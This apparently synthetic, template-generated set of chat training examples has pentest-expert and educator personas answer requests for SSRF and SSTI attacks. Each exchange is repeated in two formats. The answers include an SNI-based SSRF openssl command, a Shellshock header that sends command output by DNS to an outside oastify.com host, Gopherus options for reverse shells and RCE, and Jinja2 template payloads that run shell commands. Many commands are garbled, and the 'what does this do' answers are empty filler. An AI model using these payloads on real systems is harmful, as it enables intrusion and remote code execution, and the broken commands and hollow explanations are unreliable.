[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on SSRF (Server-Side Request Forgery) - SSRF via SNI data from certificate

[Assistant]
The configuration below is insecure and allows to connect to an arbitrary backend, since the SNI field value is used directly as the address of the backend.

``json
stream {
    server {
        listen 443;
        resolver 127.0.0.11;
        proxy_pass $ssl_preread_server_name:443;
        ssl_preread on;
    }
}
`

With this insecure configuration, it is possible to exploit the SSRF vulnerability simply by specifying the desired IP or domain name in the SNI field. For example, the following command would force the server to connect to internal.host.com:

`bash
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlfbash
``

> More information about this on Hacktricks.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on SSRF (Server-Side Request Forgery) - SSRF via SNI data from certificate

Response:
The configuration below is insecure and allows to connect to an arbitrary backend, since the SNI field value is used directly as the address of the backend.

``json
stream {
    server {
        listen 443;
        resolver 127.0.0.11;
        proxy_pass $ssl_preread_server_name:443;
        ssl_preread on;
    }
}
`

With this insecure configuration, it is possible to exploit the SSRF vulnerability simply by specifying the desired IP or domain name in the SNI field. For example, the following command would force the server to connect to internal.host.com:

`bash
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlfbash
``

> More information about this on Hacktricks.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use openssl for ssrf (server-side request forgery) - ssrf via sni data from certificate?

[Assistant] openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlfbash

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use openssl for ssrf (server-side request forgery) - ssrf via sni data from certificate?

Response: openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlfbash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for SSRF (Server-Side Request Forgery) - SSRF via SNI data from certificate?

[Assistant] openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlfbash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for SSRF (Server-Side Request Forgery) - SSRF via SNI data from certificate?

Response: openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlfbash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlfbash`?

[Assistant] This command is used for ssrf (server-side request forgery) - ssrf via sni data from certificate. SSRF via SNI data from certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlfbash`?

Response: This command is used for ssrf (server-side request forgery) - ssrf via sni data from certificate. SSRF via SNI data from certificate


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is SSRF (Server-Side Request Forgery) - SSRF with Command Injection?

[Assistant]
It is possible to use SSRF that return the command output inside an out of band connection as follows.

``
url=http://zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com?whoami
User-Agent: () { :; }; /bin/nslookup $(whoami).zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com
`

SSRFMap (Python) is a tool used to ease the exploitation of SSRFs. Gopherus (Python) can be used as well to gain RCE (Remote Code Execution) by generating Gopher payloads.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is SSRF (Server-Side Request Forgery) - SSRF with Command Injection?

Response:
It is possible to use SSRF that return the command output inside an out of band connection as follows.

``
url=http://zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com?whoami
User-Agent: () { :; }; /bin/nslookup $(whoami).zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com
`

SSRFMap (Python) is a tool used to ease the exploitation of SSRFs. Gopherus (Python) can be used as well to gain RCE (Remote Code Execution) by generating Gopher payloads.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out SSRF (Server-Side Request Forgery) - SSRF with Command Injection during a pentest?

[Assistant]
It is possible to use SSRF that return the command output inside an out of band connection as follows.

``
url=http://zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com?whoami
User-Agent: () { :; }; /bin/nslookup $(whoami).zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com
`

SSRFMap (Python) is a tool used to ease the exploitation of SSRFs. Gopherus (Python) can be used as well to gain RCE (Remote Code Execution) by generating Gopher payloads.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out SSRF (Server-Side Request Forgery) - SSRF with Command Injection during a pentest?

Response:
It is possible to use SSRF that return the command output inside an out of band connection as follows.

``
url=http://zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com?whoami
User-Agent: () { :; }; /bin/nslookup $(whoami).zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com
`

SSRFMap (Python) is a tool used to ease the exploitation of SSRFs. Gopherus (Python) can be used as well to gain RCE (Remote Code Execution) by generating Gopher payloads.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for SSRF (Server-Side Request Forgery) - SSRF with Command Injection?

[Assistant]
url=http://zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com?`whoami`
User-Agent: () { :; }; /bin/nslookup $(whoami).zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for SSRF (Server-Side Request Forgery) - SSRF with Command Injection?

Response:
url=http://zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com?`whoami`
User-Agent: () { :; }; /bin/nslookup $(whoami).zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `url=http://zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com?`whoami``?

[Assistant] This command is used for ssrf (server-side request forgery) - ssrf with command injection. SSRF with Command Injection

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `url=http://zad8nb8tb7dst2yohw0br7rr6ich07ow.oastify.com?`whoami``?

Response: This command is used for ssrf (server-side request forgery) - ssrf with command injection. SSRF with Command Injection


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain using SSRFMap

[Assistant] python3 ssrfmap.py -r data/request.txt -p url -m readfiles

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: python3 ssrfmap.py -r data/request.txt -p url -m readfiles


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute using SSRFMap?

[Assistant] python3 ssrfmap.py -r data/request.txt -p url -m readfiles

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: python3 ssrfmap.py -r data/request.txt -p url -m readfiles


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of using Gopherus

[Assistant]
gopherus --exploit mysql # It only asks username of the MySQL user
	 --exploit postgresql # It only asks username of the Postgres user and database name
	 --exploit fastcgi # It only asks for a file which must be present in the victim system(preferable .php file)
	 --exploit redis # Get a reverse or php shell to overwrite the file in the system
	 --exploit zabbix # If port 10050 is open and EnableRemoteCommands = 1, then it is possible to run shell command
	 --exploit pymemcache # Python deserialization issue that lead to RCE
	 --exploit rbmemcache # Ruby deserialization issue that lead to RCE
	 --exploit phpmemcache # PHP deserialization issue that lead to RCE
	 --exploit dmpmemcache # Dump memory cache content
	 --exploit smtp # If port 25 is open and we can access it then, we can send message to anyone as victim user by generating email payload
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
gopherus --exploit mysql # It only asks username of the MySQL user
	 --exploit postgresql # It only asks username of the Postgres user and database name
	 --exploit fastcgi # It only asks for a file which must be present in the victim system(preferable .php file)
	 --exploit redis # Get a reverse or php shell to overwrite the file in the system
	 --exploit zabbix # If port 10050 is open and EnableRemoteCommands = 1, then it is possible to run shell command
	 --exploit pymemcache # Python deserialization issue that lead to RCE
	 --exploit rbmemcache # Ruby deserialization issue that lead to RCE
	 --exploit phpmemcache # PHP deserialization issue that lead to RCE
	 --exploit dmpmemcache # Dump memory cache content
	 --exploit smtp # If port 25 is open and we can access it then, we can send message to anyone as victim user by generating email payload
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute using Gopherus?

[Assistant]
gopherus --exploit mysql # It only asks username of the MySQL user
	 --exploit postgresql # It only asks username of the Postgres user and database name
	 --exploit fastcgi # It only asks for a file which must be present in the victim system(preferable .php file)
	 --exploit redis # Get a reverse or php shell to overwrite the file in the system
	 --exploit zabbix # If port 10050 is open and EnableRemoteCommands = 1, then it is possible to run shell command
	 --exploit pymemcache # Python deserialization issue that lead to RCE
	 --exploit rbmemcache # Ruby deserialization issue that lead to RCE
	 --exploit phpmemcache # PHP deserialization issue that lead to RCE
	 --exploit dmpmemcache # Dump memory cache content
	 --exploit smtp # If port 25 is open and we can access it then, we can send message to anyone as victim user by generating email payload
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
gopherus --exploit mysql # It only asks username of the MySQL user
	 --exploit postgresql # It only asks username of the Postgres user and database name
	 --exploit fastcgi # It only asks for a file which must be present in the victim system(preferable .php file)
	 --exploit redis # Get a reverse or php shell to overwrite the file in the system
	 --exploit zabbix # If port 10050 is open and EnableRemoteCommands = 1, then it is possible to run shell command
	 --exploit pymemcache # Python deserialization issue that lead to RCE
	 --exploit rbmemcache # Ruby deserialization issue that lead to RCE
	 --exploit phpmemcache # PHP deserialization issue that lead to RCE
	 --exploit dmpmemcache # Dump memory cache content
	 --exploit smtp # If port 25 is open and we can access it then, we can send message to anyone as victim user by generating email payload
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain 🛠 SSTI (Server-Side Template Injection) - Theory

[Assistant] Some web applications rely on template engines to offer dynamic content. When user inputs are embedded in templates, without proper sensitization, the web apps can be vulnerable to SSTIs (Server-Side Template Injections). This is a critical vulnerability that can sometimes lead to Sensitive Information Disclosure, Local File Disclosure and even RCE (Remote Code Execution).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain 🛠 SSTI (Server-Side Template Injection) - Theory

Response: Some web applications rely on template engines to offer dynamic content. When user inputs are embedded in templates, without proper sensitization, the web apps can be vulnerable to SSTIs (Server-Side Template Injections). This is a critical vulnerability that can sometimes lead to Sensitive Information Disclosure, Local File Disclosure and even RCE (Remote Code Execution).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 SSTI (Server-Side Template Injection) - Theory?

[Assistant] Some web applications rely on template engines to offer dynamic content. When user inputs are embedded in templates, without proper sensitization, the web apps can be vulnerable to SSTIs (Server-Side Template Injections). This is a critical vulnerability that can sometimes lead to Sensitive Information Disclosure, Local File Disclosure and even RCE (Remote Code Execution).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 SSTI (Server-Side Template Injection) - Theory?

Response: Some web applications rely on template engines to offer dynamic content. When user inputs are embedded in templates, without proper sensitization, the web apps can be vulnerable to SSTIs (Server-Side Template Injections). This is a critical vulnerability that can sometimes lead to Sensitive Information Disclosure, Local File Disclosure and even RCE (Remote Code Execution).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 SSTI (Server-Side Template Injection) - Practice

[Assistant]
Testers need to identify input vectors (parts of the app that accept content from the users) that might be embedded in templates.

The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection). The <code>{{7*7}}</code> should be interpreted and changed to 49 by Jinja2 and Twig engines.

``html
'"<svg/onload=prompt(5);>{{7*7}}
``

The following injection methodology can be used to identify the template engine. Is the content modified?

Depending on the template engine in use, testers will be able to fully exploit the SSTI vulnerability.

> [!TIP]
> Many template engines offer a sandboxed mode for intentional template injection (to offer rich functionalities). A server-side template injection can sometimes be a feature and not a vulnerability.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 🛠 SSTI (Server-Side Template Injection) - Practice

Response:
Testers need to identify input vectors (parts of the app that accept content from the users) that might be embedded in templates.

The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection). The <code>{{7*7}}</code> should be interpreted and changed to 49 by Jinja2 and Twig engines.

``html
'"<svg/onload=prompt(5);>{{7*7}}
``

The following injection methodology can be used to identify the template engine. Is the content modified?

Depending on the template engine in use, testers will be able to fully exploit the SSTI vulnerability.

> [!TIP]
> Many template engines offer a sandboxed mode for intentional template injection (to offer rich functionalities). A server-side template injection can sometimes be a feature and not a vulnerability.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 SSTI (Server-Side Template Injection) - Practice

[Assistant]
Testers need to identify input vectors (parts of the app that accept content from the users) that might be embedded in templates.

The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection). The <code>{{7*7}}</code> should be interpreted and changed to 49 by Jinja2 and Twig engines.

``html
'"<svg/onload=prompt(5);>{{7*7}}
``

The following injection methodology can be used to identify the template engine. Is the content modified?

Depending on the template engine in use, testers will be able to fully exploit the SSTI vulnerability.

> [!TIP]
> Many template engines offer a sandboxed mode for intentional template injection (to offer rich functionalities). A server-side template injection can sometimes be a feature and not a vulnerability.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 SSTI (Server-Side Template Injection) - Practice

Response:
Testers need to identify input vectors (parts of the app that accept content from the users) that might be embedded in templates.

The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection). The <code>{{7*7}}</code> should be interpreted and changed to 49 by Jinja2 and Twig engines.

``html
'"<svg/onload=prompt(5);>{{7*7}}
``

The following injection methodology can be used to identify the template engine. Is the content modified?

Depending on the template engine in use, testers will be able to fully exploit the SSTI vulnerability.

> [!TIP]
> Many template engines offer a sandboxed mode for intentional template injection (to offer rich functionalities). A server-side template injection can sometimes be a feature and not a vulnerability.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 🛠 SSTI (Server-Side Template Injection) - Creating a payload from scratch in the context of penetration testing

[Assistant]
After finding a vulnerable field with a basic payload, the attacker still needs to exploit it. The next step is to find a variable that can be used to access classes, variables or modules to run shell commands and get a RCE. The variables to search for depends on the detected render engine. For example, Jinja2 has the request variable, it may be a good idea to try it first.

If no variable is found, there are always the default string constructor (''), the default array constructor ([]), the default object constructor ({}), etc, to start with.

Whether a variable has been found or using a default constructor, there are 2 main ways to create a payload :

- Reading the source code of the variable / default constructor on Github
- Try it on the fly on a local machine and explore all the properties and methods

To speed up the process, it is often easier to start searching from the result : finding a piece of code in the code base where it is possible to run shell commands and then exploring all the properties and methods of the variable / default constructor to reach this first piece of code.

Searching a payload from scratch is a long way to find a RCE but, unless someone on the Internet already shared a payload, there is no better way to do so.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 🛠 SSTI (Server-Side Template Injection) - Creating a payload from scratch in the context of penetration testing

Response:
After finding a vulnerable field with a basic payload, the attacker still needs to exploit it. The next step is to find a variable that can be used to access classes, variables or modules to run shell commands and get a RCE. The variables to search for depends on the detected render engine. For example, Jinja2 has the request variable, it may be a good idea to try it first.

If no variable is found, there are always the default string constructor (''), the default array constructor ([]), the default object constructor ({}), etc, to start with.

Whether a variable has been found or using a default constructor, there are 2 main ways to create a payload :

- Reading the source code of the variable / default constructor on Github
- Try it on the fly on a local machine and explore all the properties and methods

To speed up the process, it is often easier to start searching from the result : finding a piece of code in the code base where it is possible to run shell commands and then exploring all the properties and methods of the variable / default constructor to reach this first piece of code.

Searching a payload from scratch is a long way to find a RCE but, unless someone on the Internet already shared a payload, there is no better way to do so.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 SSTI (Server-Side Template Injection) - Creating a payload from scratch

[Assistant]
After finding a vulnerable field with a basic payload, the attacker still needs to exploit it. The next step is to find a variable that can be used to access classes, variables or modules to run shell commands and get a RCE. The variables to search for depends on the detected render engine. For example, Jinja2 has the request variable, it may be a good idea to try it first.

If no variable is found, there are always the default string constructor (''), the default array constructor ([]), the default object constructor ({}), etc, to start with.

Whether a variable has been found or using a default constructor, there are 2 main ways to create a payload :

- Reading the source code of the variable / default constructor on Github
- Try it on the fly on a local machine and explore all the properties and methods

To speed up the process, it is often easier to start searching from the result : finding a piece of code in the code base where it is possible to run shell commands and then exploring all the properties and methods of the variable / default constructor to reach this first piece of code.

Searching a payload from scratch is a long way to find a RCE but, unless someone on the Internet already shared a payload, there is no better way to do so.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 SSTI (Server-Side Template Injection) - Creating a payload from scratch

Response:
After finding a vulnerable field with a basic payload, the attacker still needs to exploit it. The next step is to find a variable that can be used to access classes, variables or modules to run shell commands and get a RCE. The variables to search for depends on the detected render engine. For example, Jinja2 has the request variable, it may be a good idea to try it first.

If no variable is found, there are always the default string constructor (''), the default array constructor ([]), the default object constructor ({}), etc, to start with.

Whether a variable has been found or using a default constructor, there are 2 main ways to create a payload :

- Reading the source code of the variable / default constructor on Github
- Try it on the fly on a local machine and explore all the properties and methods

To speed up the process, it is often easier to start searching from the result : finding a piece of code in the code base where it is possible to run shell commands and then exploring all the properties and methods of the variable / default constructor to reach this first piece of code.

Searching a payload from scratch is a long way to find a RCE but, unless someone on the Internet already shared a payload, there is no better way to do so.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain 🛠 SSTI (Server-Side Template Injection) - Example

[Assistant]
> [!NOTE]
> The following example will use Jinja2 as the render engine. However, the method is the same with every render engine.

If the server is known to use Python, chances are it might use Jinja2 as well to render the HTML. To check if an input is vulnerable to a SSTI, use the following payload :

``py
{{ 7*7 }}
`

Multiple payloads can then be used to get a RCE. To perform a RCE, the goal is to retrieve the os module one way or another to execute shell commands from there.

Using the already imported os module :

`py
{{ os.popen('id').read() }}
`

Using the request variable :

`py
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
`

Context independant payloads to get the os module by Podalirius :

`py
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain 🛠 SSTI (Server-Side Template Injection) - Example

Response:
> [!NOTE]
> The following example will use Jinja2 as the render engine. However, the method is the same with every render engine.

If the server is known to use Python, chances are it might use Jinja2 as well to render the HTML. To check if an input is vulnerable to a SSTI, use the following payload :

``py
{{ 7*7 }}
`

Multiple payloads can then be used to get a RCE. To perform a RCE, the goal is to retrieve the os module one way or another to execute shell commands from there.

Using the already imported os module :

`py
{{ os.popen('id').read() }}
`

Using the request variable :

`py
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
`

Context independant payloads to get the os module by Podalirius :

`py
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 🛠 SSTI (Server-Side Template Injection) - Example?

[Assistant]
> [!NOTE]
> The following example will use Jinja2 as the render engine. However, the method is the same with every render engine.

If the server is known to use Python, chances are it might use Jinja2 as well to render the HTML. To check if an input is vulnerable to a SSTI, use the following payload :

``py
{{ 7*7 }}
`

Multiple payloads can then be used to get a RCE. To perform a RCE, the goal is to retrieve the os module one way or another to execute shell commands from there.

Using the already imported os module :

`py
{{ os.popen('id').read() }}
`

Using the request variable :

`py
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
`

Context independant payloads to get the os module by Podalirius :

`py
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 🛠 SSTI (Server-Side Template Injection) - Example?

Response:
> [!NOTE]
> The following example will use Jinja2 as the render engine. However, the method is the same with every render engine.

If the server is known to use Python, chances are it might use Jinja2 as well to render the HTML. To check if an input is vulnerable to a SSTI, use the following payload :

``py
{{ 7*7 }}
`

Multiple payloads can then be used to get a RCE. To perform a RCE, the goal is to retrieve the os module one way or another to execute shell commands from there.

Using the already imported os module :

`py
{{ os.popen('id').read() }}
`

Using the request variable :

`py
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
`

Context independant payloads to get the os module by Podalirius :

`py
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 🛠 SSTI (Server-Side Template Injection) - Example

[Assistant] {{ 7*7 }}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do 🛠 SSTI (Server-Side Template Injection) - Example

Response: {{ 7*7 }}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `{{ 7*7 }}`?

[Assistant] This command is used for 🛠 ssti (server-side template injection) - example. Example

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for 🛠 ssti (server-side template injection) - example. Example


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for 🛠 SSTI (Server-Side Template Injection) - Example

[Assistant] {{ os.popen('id').read() }}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for 🛠 SSTI (Server-Side Template Injection) - Example

Response: {{ os.popen('id').read() }}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `{{ os.popen('id').read() }}`?

[Assistant] This command is used for 🛠 ssti (server-side template injection) - example. Example

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `{{ os.popen('id').read() }}`?

Response: This command is used for 🛠 ssti (server-side template injection) - example. Example


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 SSTI (Server-Side Template Injection) - Example

[Assistant] {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 SSTI (Server-Side Template Injection) - Example

Response: {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}`?

[Assistant] This command is used for 🛠 ssti (server-side template injection) - example. Example

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}`?

Response: This command is used for 🛠 ssti (server-side template injection) - example. Example


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 SSTI (Server-Side Template Injection) - Example

[Assistant]
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}`?

[Assistant] This command is used for 🛠 ssti (server-side template injection) - example. Example

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}`?

Response: This command is used for 🛠 ssti (server-side template injection) - example. Example


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 SSTI (Server-Side Template Injection) - WAF bypass

[Assistant] The web application may be under a Web Application Firewall, protecting a SSTI from abusing the server. However, there are a lot of creative way to bypass its restrictions.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 🛠 SSTI (Server-Side Template Injection) - WAF bypass

Response: The web application may be under a Web Application Firewall, protecting a SSTI from abusing the server. However, there are a lot of creative way to bypass its restrictions.


